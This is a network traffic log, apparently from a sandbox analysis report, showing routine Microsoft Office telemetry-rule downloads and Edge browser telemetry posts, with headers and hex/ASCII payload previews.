2024-11-16 12:01:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1572c6d128714c5d873f5430cfaaaefc&HASH=1572&LV=202411&V=4&LU=1731758501915; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 12:01:41 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1678c23c598b4c89affec2f1c05ee3ce; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 12:31:41 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1947 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 12:01:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120142Z-16547b76f7fhv4d5hC1DFW7h0n00000001400000000065q6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120142Z-164f84587bfsgfx9hC1DFWw1as00000002mg0000000099s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:42 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120142Z-16547b76f7fmbrhqhC1DFWkds80000000pn0000000007m3n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:42 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120142Z-16547b76f7f9bs6dhC1DFWt3rg0000000pn0000000004ac1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120142Z-1866b5c5fbbkcpv2hC1DFWf1yc00000002v0000000006dyq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49923	52.168.117.170	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731758500351&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9652 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; msnup=
2024-11-16 12:01:42 UTC	9652	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 36 54 31 32 3a 30 31 3a 34 30 2e 33 35 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 35 33 32 61 64 30 2d 31 34 37 65 2d 34 65 39 62 2d 61 34 64 66 2d 64 35 63 35 37 39 36 31 31 62 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 34 39 36 32 37 37 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-16T12:01:40.350Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"14532ad0-147e-4e9b-a4df-d5c579611b5e","epoch":"1554962777"},"app":{"loc
2024-11-16 12:01:42 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2b0f680a5ccc4b2a8b0a3c18a95b58ff&HASH=2b0f&LV=202411&V=4&LU=1731758502248; Domain=.microsoft.com; Expires=Sun, 16 Nov 2025 12:01:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f190005280294dccbedd3a92497d0a09; Domain=.microsoft.com; Expires=Sat, 16 Nov 2024 12:31:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1882 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 16 Nov 2024 12:01:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 25df3dc6-101e-000b-2cf8-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-164f84587bf5rpzqhC1DFWmra800000002pg00000000cw2h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-1866b5c5fbbfhwqqhC1DFW51380000000260000000006n6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-1866b5c5fbbqmbqjhC1DFWwgvc0000000290000000007pd4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:42 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-1866b5c5fbbt75vghC1DFW0qd400000002hg00000000e1na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:43 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:43 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120143Z-16547b76f7fmbrhqhC1DFWkds80000000phg00000000cqgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
